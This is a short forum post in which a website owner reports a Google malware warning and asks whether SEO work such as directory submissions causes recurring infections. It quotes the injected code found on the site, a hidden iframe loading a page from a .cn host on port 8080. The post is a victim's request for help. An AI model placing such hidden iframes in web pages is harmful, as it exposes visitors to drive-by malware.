Are seo activities responsible for viruses to infect websites??

My website is a HTML based website.
everything was going fine until i discovered a warning by Google ,that
the site in infected by virus:This site may harm your computer.

I checked the website and found some <iframe src="http://
namemartfilmlife.cn:8080/index.php" width=146 height=179
style="visibility: hidden"></iframe>

types of malicious codes.
I removed them but they are coming again.
I checked the server reports and the ftp password was also not leaked.

I want top know from where does this <iframe error comes from.
Does submitting to directories,search engines and blogs,bookmarking or
submitting cause these errors?????????????
I have studied that HTML and .net sites are more prone to be infected
by these iframe errors
Are Seo activities responsible for these kind of problems.

Also ,please provide me solutions to permanently protect websites from
being infected.

Thanks

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